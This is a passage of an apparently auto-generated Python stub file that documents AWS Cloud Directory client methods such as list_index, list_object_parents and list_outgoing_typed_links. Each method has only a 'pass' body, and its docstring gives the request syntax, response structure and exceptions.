True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] }, ], 'NextToken': 'string' } :returns: $ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier /some/path - Identifies the object based on path #SomeBatchReference - Identifies the object in a batch call """ pass def list_index(DirectoryArn=None, RangesOnIndexedValues=None, IndexReference=None, MaxResults=None, NextToken=None, ConsistencyLevel=None): """ Lists objects attached to the specified index. See also: AWS API Documentation Exceptions :example: response = client.list_index( DirectoryArn='string', RangesOnIndexedValues=[ { 'AttributeKey': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Range': { 'StartMode': 'FIRST'|'LAST'|'LAST_BEFORE_MISSING_VALUES'|'INCLUSIVE'|'EXCLUSIVE', 'StartValue': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) }, 'EndMode': 'FIRST'|'LAST'|'LAST_BEFORE_MISSING_VALUES'|'INCLUSIVE'|'EXCLUSIVE', 'EndValue': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } } }, ], IndexReference={ 'Selector': 'string' }, MaxResults=123, NextToken='string', ConsistencyLevel='SERIALIZABLE'|'EVENTUAL' ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe ARN of the directory that the index exists in.\n :type RangesOnIndexedValues: list :param RangesOnIndexedValues: Specifies the ranges of indexed values that you want to query.\n\n(dict) --A range of attributes.\n\nAttributeKey (dict) --The key of the attribute that the attribute range covers.\n\nSchemaArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the schema that contains the facet and attribute.\n\nFacetName (string) -- [REQUIRED]The name of the facet that the attribute exists within.\n\nName (string) -- [REQUIRED]The name of the attribute.\n\n\n\nRange (dict) --The range of attribute values being selected.\n\nStartMode (string) -- [REQUIRED]The inclusive or exclusive range start.\n\nStartValue (dict) --The value to start the range at.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\nEndMode (string) -- [REQUIRED]The inclusive or exclusive range end.\n\nEndValue (dict) --The attribute value to terminate the range at.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\n\n\n\n\n\n :type IndexReference: dict :param IndexReference: [REQUIRED]\nThe reference to the index to list.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type MaxResults: integer :param MaxResults: The maximum number of objects in a single page to retrieve from the index during a request. For more information, see Amazon Cloud Directory Limits . :type NextToken: string :param NextToken: The pagination token. :type ConsistencyLevel: string :param ConsistencyLevel: The consistency level to execute the request at. :rtype: dict ReturnsResponse Syntax { 'IndexAttachments': [ { 'IndexedAttributes': [ { 'Key': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ], 'ObjectIdentifier': 'string' }, ], 'NextToken': 'string' } Response Structure (dict) -- IndexAttachments (list) -- The objects and indexed values attached to the index. (dict) -- Represents an index and an attached object. IndexedAttributes (list) -- The indexed attribute values. (dict) -- The combination of an attribute key and an attribute value. Key (dict) -- The key of the attribute. SchemaArn (string) -- The Amazon Resource Name (ARN) of the schema that contains the facet and attribute. FacetName (string) -- The name of the facet that the attribute exists within. Name (string) -- The name of the attribute. Value (dict) -- The value of the attribute. StringValue (string) -- A string data value. BinaryValue (bytes) -- A binary data value. BooleanValue (boolean) -- A Boolean data value. NumberValue (string) -- A number data value. DatetimeValue (datetime) -- A date and time value. ObjectIdentifier (string) -- In response to ListIndex , the ObjectIdentifier of the object attached to the index. In response to ListAttachedIndices , the ObjectIdentifier of the index attached to the object. This field will always contain the ObjectIdentifier of the object on the opposite side of the attachment specified in the query. NextToken (string) -- The pagination token. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.FacetValidationException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.InvalidNextTokenException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.NotIndexException :return: { 'IndexAttachments': [ { 'IndexedAttributes': [ { 'Key': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ], 'ObjectIdentifier': 'string' }, ], 'NextToken': 'string' } :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.FacetValidationException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.InvalidNextTokenException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.NotIndexException """ pass def list_managed_schema_arns(SchemaArn=None, NextToken=None, MaxResults=None): """ Lists the major version families of each managed schema. If a major version ARN is provided as SchemaArn, the minor version revisions in that family are listed instead. See also: AWS API Documentation Exceptions :example: response = client.list_managed_schema_arns( SchemaArn='string', NextToken='string', MaxResults=123 ) :type SchemaArn: string :param SchemaArn: The response for ListManagedSchemaArns. When this parameter is used, all minor version ARNs for a major version are listed. :type NextToken: string :param NextToken: The pagination token. :type MaxResults: integer :param MaxResults: The maximum number of results to retrieve. :rtype: dict ReturnsResponse Syntax { 'SchemaArns': [ 'string', ], 'NextToken': 'string' } Response Structure (dict) -- SchemaArns (list) -- The ARNs for all AWS managed schemas. (string) -- NextToken (string) -- The pagination token. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidNextTokenException :return: { 'SchemaArns': [ 'string', ], 'NextToken': 'string' } :returns: (string) -- """ pass def list_object_attributes(DirectoryArn=None, ObjectReference=None, NextToken=None, MaxResults=None, ConsistencyLevel=None, FacetFilter=None): """ Lists all attributes that are associated with an object. See also: AWS API Documentation Exceptions :example: response = client.list_object_attributes( DirectoryArn='string', ObjectReference={ 'Selector': 'string' }, NextToken='string', MaxResults=123, ConsistencyLevel='SERIALIZABLE'|'EVENTUAL', FacetFilter={ 'SchemaArn': 'string', 'FacetName': 'string' } ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the Directory where the object resides. For more information, see arns .\n :type ObjectReference: dict :param ObjectReference: [REQUIRED]\nThe reference that identifies the object whose attributes will be listed.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type NextToken: string :param NextToken: The pagination token. :type MaxResults: integer :param MaxResults: The maximum number of items to be retrieved in a single call. This is an approximate number. :type ConsistencyLevel: string :param ConsistencyLevel: Represents the manner and timing in which the successful write or update of an object is reflected in a subsequent read operation of that same object. :type FacetFilter: dict :param FacetFilter: Used to filter the list of object attributes that are associated with a certain facet.\n\nSchemaArn (string) --The ARN of the schema that contains the facet with no minor component. See arns and In-Place Schema Upgrade for a description of when to provide minor versions.\n\nFacetName (string) --The name of the facet.\n\n\n :rtype: dict ReturnsResponse Syntax { 'Attributes': [ { 'Key': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ], 'NextToken': 'string' } Response Structure (dict) -- Attributes (list) -- Attributes map that is associated with the object. AttributeArn is the key, and attribute value is the value. (dict) -- The combination of an attribute key and an attribute value. Key (dict) -- The key of the attribute. SchemaArn (string) -- The Amazon Resource Name (ARN) of the schema that contains the facet and attribute. FacetName (string) -- The name of the facet that the attribute exists within. Name (string) -- The name of the attribute. Value (dict) -- The value of the attribute. StringValue (string) -- A string data value. BinaryValue (bytes) -- A binary data value. BooleanValue (boolean) -- A Boolean data value. NumberValue (string) -- A number data value. DatetimeValue (datetime) -- A date and time value. NextToken (string) -- The pagination token. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidNextTokenException CloudDirectory.Client.exceptions.FacetValidationException :return: { 'Attributes': [ { 'Key': { 'SchemaArn': 'string', 'FacetName': 'string', 'Name': 'string' }, 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ], 'NextToken': 'string' } :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidNextTokenException CloudDirectory.Client.exceptions.FacetValidationException """ pass def list_object_children(DirectoryArn=None, ObjectReference=None, NextToken=None, MaxResults=None, ConsistencyLevel=None): """ Returns a paginated list of child objects that are associated with a given object. See also: AWS API Documentation Exceptions :example: response = client.list_object_children( DirectoryArn='string', ObjectReference={ 'Selector': 'string' }, NextToken='string', MaxResults=123, ConsistencyLevel='SERIALIZABLE'|'EVENTUAL' ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the Directory where the object resides. For more information, see arns .\n :type ObjectReference: dict :param ObjectReference: [REQUIRED]\nThe reference that identifies the object for which child objects are being listed.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type NextToken: string :param NextToken: The pagination token. :type MaxResults: integer :param MaxResults: The maximum number of items to be retrieved in a single call. This is an approximate number. :type ConsistencyLevel: string :param ConsistencyLevel: Represents the manner and timing in which the successful write or update of an object is reflected in a subsequent read operation of that same object. :rtype: dict ReturnsResponse Syntax { 'Children': { 'string': 'string' }, 'NextToken': 'string' } Response Structure (dict) -- Children (dict) -- Children structure, which is a map with key as the LinkName and ObjectIdentifier as the value. (string) -- (string) -- NextToken (string) -- The pagination token. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidNextTokenException CloudDirectory.Client.exceptions.NotNodeException :return: { 'Children': { 'string': 'string' }, 'NextToken': 'string' } :returns: (string) -- (string) -- """ pass def list_object_parent_paths(DirectoryArn=None, ObjectReference=None, NextToken=None, MaxResults=None): """ Retrieves all available parent paths for any object type such as node, leaf node, policy node, and index node objects. For more information about objects, see Directory Structure . Use this API to evaluate all parents for an object. The call returns all objects from the root of the directory up to the requested object. The API returns the number of paths based on user-defined MaxResults , in case there are multiple paths to the parent. The order of the paths and nodes returned is consistent among multiple API calls unless the objects are deleted or moved. Paths not leading to the directory root are ignored from the target object. See also: AWS API Documentation Exceptions :example: response = client.list_object_parent_paths( DirectoryArn='string', ObjectReference={ 'Selector': 'string' }, NextToken='string', MaxResults=123 ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe ARN of the directory to which the parent path applies.\n :type ObjectReference: dict :param ObjectReference: [REQUIRED]\nThe reference that identifies the object whose parent paths are listed.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type NextToken: string :param NextToken: The pagination token. :type MaxResults: integer :param MaxResults: The maximum number of items to be retrieved in a single call. This is an approximate number. :rtype: dict ReturnsResponse Syntax { 'PathToObjectIdentifiersList': [ { 'Path': 'string', 'ObjectIdentifiers': [ 'string', ] }, ], 'NextToken': 'string' } Response Structure (dict) -- PathToObjectIdentifiersList (list) -- Returns the path to the ObjectIdentifiers that are associated with the directory. (dict) -- Returns the path to the ObjectIdentifiers that is associated with the directory. Path (string) -- The path that is used to identify the object starting from directory root. ObjectIdentifiers (list) -- Lists ObjectIdentifiers starting from directory root to the object in the request. (string) -- NextToken (string) -- The pagination token. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.InvalidNextTokenException CloudDirectory.Client.exceptions.ResourceNotFoundException :return: { 'PathToObjectIdentifiersList': [ { 'Path': 'string', 'ObjectIdentifiers': [ 'string', ] }, ], 'NextToken': 'string' } :returns: (string) -- """ pass def list_object_parents(DirectoryArn=None, ObjectReference=None, NextToken=None, MaxResults=None, ConsistencyLevel=None, IncludeAllLinksToEachParent=None): """ Lists parent objects that are associated with a given object in pagination fashion. See also: AWS API Documentation Exceptions :example: response = client.list_object_parents( DirectoryArn='string', ObjectReference={ 'Selector': 'string' }, NextToken='string', MaxResults=123, ConsistencyLevel='SERIALIZABLE'|'EVENTUAL', IncludeAllLinksToEachParent=True|False ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the Directory where the object resides. For more information, see arns .\n :type ObjectReference: dict :param ObjectReference: [REQUIRED]\nThe reference that identifies the object for which parent objects are being listed.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type NextToken: string :param NextToken: The pagination token. :type MaxResults: integer :param MaxResults: The maximum number of items to be retrieved in a single call. This is an approximate number. :type ConsistencyLevel: string :param ConsistencyLevel: Represents the manner and timing in which the successful write or update of an object is reflected in a subsequent read operation of that same object. :type IncludeAllLinksToEachParent: boolean :param IncludeAllLinksToEachParent: When set to True, returns all ListObjectParentsResponse$ParentLinks . There could be multiple links between a parent-child pair. :rtype: dict ReturnsResponse Syntax { 'Parents': { 'string': 'string' }, 'NextToken': 'string', 'ParentLinks': [ { 'ObjectIdentifier': 'string', 'LinkName': 'string' }, ] } Response Structure (dict) -- Parents (dict) -- The parent structure, which is a map with key as the ObjectIdentifier and LinkName as the value. (string) -- (string) -- NextToken (string) -- The pagination token. ParentLinks (list) -- Returns a list of parent reference and LinkName Tuples. (dict) -- A pair of ObjectIdentifier and LinkName. ObjectIdentifier (string) -- The ID that is associated with the object. LinkName (string) -- The name of the link between the parent and the child object. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidNextTokenException CloudDirectory.Client.exceptions.CannotListParentOfRootException :return: { 'Parents': { 'string': 'string' }, 'NextToken': 'string', 'ParentLinks': [ { 'ObjectIdentifier': 'string', 'LinkName': 'string' }, ] } :returns: (string) -- (string) -- """ pass def list_object_policies(DirectoryArn=None, ObjectReference=None, NextToken=None, MaxResults=None, ConsistencyLevel=None): """ Returns policies attached to an object in pagination fashion. See also: AWS API Documentation Exceptions :example: response = client.list_object_policies( DirectoryArn='string', ObjectReference={ 'Selector': 'string' }, NextToken='string', MaxResults=123, ConsistencyLevel='SERIALIZABLE'|'EVENTUAL' ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the Directory where objects reside. For more information, see arns .\n :type ObjectReference: dict :param ObjectReference: [REQUIRED]\nReference that identifies the object for which policies will be listed.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type NextToken: string :param NextToken: The pagination token. :type MaxResults: integer :param MaxResults: The maximum number of items to be retrieved in a single call. This is an approximate number. :type ConsistencyLevel: string :param ConsistencyLevel: Represents the manner and timing in which the successful write or update of an object is reflected in a subsequent read operation of that same object. :rtype: dict ReturnsResponse Syntax { 'AttachedPolicyIds': [ 'string', ], 'NextToken': 'string' } Response Structure (dict) -- AttachedPolicyIds (list) -- A list of policy ObjectIdentifiers , that are attached to the object. (string) -- NextToken (string) -- The pagination token. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidNextTokenException :return: { 'AttachedPolicyIds': [ 'string', ], 'NextToken': 'string' } :returns: (string) -- """ pass def list_outgoing_typed_links(DirectoryArn=None, ObjectReference=None, FilterAttributeRanges=None, FilterTypedLink=None, NextToken=None, MaxResults=None, ConsistencyLevel=None): """ Returns a paginated list of all the outgoing TypedLinkSpecifier information for an object. It also supports filtering by typed link facet and identity attributes. For more information, see Typed Links . See also: AWS API Documentation Exceptions :example: response = client.list_outgoing_typed_links( DirectoryArn='string', ObjectReference={ 'Selector': 'string' }, FilterAttributeRanges=[ { 'AttributeName': 'string', 'Range': { 'StartMode': 'FIRST'|'LAST'|'LAST_BEFORE_MISSING_VALUES'|'INCLUSIVE'|'EXCLUSIVE', 'StartValue': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) }, 'EndMode': 'FIRST'|'LAST'|'LAST_BEFORE_MISSING_VALUES'|'INCLUSIVE'|'EXCLUSIVE', 'EndValue': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } } }, ], FilterTypedLink={ 'SchemaArn': 'string', 'TypedLinkName': 'string' }, NextToken='string', MaxResults=123, ConsistencyLevel='SERIALIZABLE'|'EVENTUAL' ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the directory where you want to list the typed links.\n :type ObjectReference: dict :param ObjectReference: [REQUIRED]\nA reference that identifies the object whose attributes will be listed.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type FilterAttributeRanges: list :param FilterAttributeRanges: Provides range filters for multiple attributes. When providing ranges to typed link selection, any inexact ranges must be specified at the end. Any attributes that do not have a range specified are presumed to match the entire range.\n\n(dict) --Identifies the range of attributes that are used by a specified filter.\n\nAttributeName (string) --The unique name of the typed link attribute.\n\nRange (dict) -- [REQUIRED]The range of attribute values that are being selected.\n\nStartMode (string) -- [REQUIRED]The inclusive or exclusive range start.\n\nStartValue (dict) --The value to start the range at.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\nEndMode (string) -- [REQUIRED]The inclusive or exclusive range end.\n\nEndValue (dict) --The attribute value to terminate the range at.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\n\n\n\n\n\n :type FilterTypedLink: dict :param FilterTypedLink: Filters are interpreted in the order of the attributes defined on the typed link facet, not the order they are supplied to any API calls.\n\nSchemaArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns .\n\nTypedLinkName (string) -- [REQUIRED]The unique name of the typed link facet.\n\n\n :type NextToken: string :param NextToken: The pagination token. :type MaxResults: integer :param MaxResults: The maximum number of results to retrieve. :type ConsistencyLevel: string :param ConsistencyLevel: The consistency level to execute the request at. :rtype: dict ReturnsResponse Syntax { 'TypedLinkSpecifiers': [ { 'TypedLinkFacet': { 'SchemaArn': 'string', 'TypedLinkName': 'string' }, 'SourceObjectReference': { 'Selector': 'string' }, 'TargetObjectReference': { 'Selector': 'string' }, 'IdentityAttributeValues': [ { 'AttributeName': 'string', 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] }, ], 'NextToken': 'string' } Response Structure (dict) -- TypedLinkSpecifiers (list) -- Returns a typed link specifier as output. (dict) -- Contains all the information that is used to uniquely identify a typed link. The parameters discussed in this topic are used to uniquely specify the typed link being operated on. The AttachTypedLink API returns a typed link specifier while the DetachTypedLink API accepts one as input. Similarly, the ListIncomingTypedLinks and ListOutgoingTypedLinks API operations provide typed link specifiers as output. You can also construct a typed link specifier from scratch. TypedLinkFacet (dict) -- Identifies the typed link facet that is associated with the typed link. SchemaArn (string) -- The Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns . TypedLinkName (string) -- The unique name of the typed link facet. SourceObjectReference (dict) -- Identifies the source object that the typed link will attach to. Selector (string) -- A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways: $ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier /some/path - Identifies the object based on path #SomeBatchReference - Identifies the object in a batch call TargetObjectReference (dict) -- Identifies the target object that the typed link will attach to. Selector (string) -- A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways: $ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier /some/path - Identifies the object based on path #SomeBatchReference - Identifies the object in a batch call IdentityAttributeValues (list) -- Identifies the attribute value to update. (dict) -- Identifies the attribute name and value for a typed link. AttributeName (string) -- The attribute name of the typed link. Value (dict) -- The value for the typed link. StringValue (string) -- A string data value. BinaryValue (bytes) -- A binary data value. BooleanValue (boolean) -- A Boolean data value. NumberValue (string) -- A number data value. DatetimeValue (datetime) -- A date and time value. NextToken (string) -- The pagination token. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidNextTokenException CloudDirectory.Client.exceptions.FacetValidationException :return: { 'TypedLinkSpecifiers': [ { 'TypedLinkFacet': { 'SchemaArn': 'string', 'TypedLinkName': 'string' }, 'SourceObjectReference': { 'Selector': 'string' }, 'TargetObjectReference': { 'Selector': 'string' }, 'IdentityAttributeValues': [ { 'AttributeName': 'string', 'Value': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) } }, ] }, ], 'NextToken': 'string' } :returns: $ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier /some/path - Identifies the object based on path #SomeBatchReference - Identifies the object in a batch call """ pass def list_policy_attachments(DirectoryArn=None, PolicyReference=None, NextToken=None, MaxResults=None, ConsistencyLevel=None): """ Returns all of the ObjectIdentifiers to which a given policy is attached. See also: AWS API Documentation Exceptions :example: response = client.list_policy_attachments( DirectoryArn='string', PolicyReference={ 'Selector': 'string' }, NextToken='string', MaxResults=123, ConsistencyLevel='SERIALIZABLE'|'EVENTUAL' ) :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the Directory where objects reside. For more information, see arns .\n :type PolicyReference: dict :param PolicyReference: [REQUIRED]\nThe reference that identifies the policy object.\n\nSelector (string) --A path selector supports easy selection of an object by the parent/child links leading to it from the directory root. Use the link names from each parent/child link to construct the path. Path selectors start with a slash (/) and link names are separated by slashes. For more information about paths, see Access Objects . You can identify an object in one of the following ways:\n\n$ObjectIdentifier - An object identifier is an opaque string provided by Amazon Cloud Directory. When creating objects, the system will provide you with the identifier of the created object. An object\xe2\x80\x99s identifier is immutable and no two objects will ever share the same object identifier\n/some/path - Identifies the object based on path\n#SomeBatchReference - Identifies the object in a batch call\n\n\n\n :type NextToken: string :param NextToken: The pagination token. :type MaxResults: integer :param MaxResults: The maximum number of items to be retrieved in a single call. This is an approximate number. :type ConsistencyLevel: string :param ConsistencyLevel: Represents the manner and timing in which the successful write or update of an object is reflected in a subsequent read operation of that same object. :rtype: dict ReturnsResponse Syntax { 'ObjectIdentifiers': [ 'string', ], 'NextToken': 'string' } 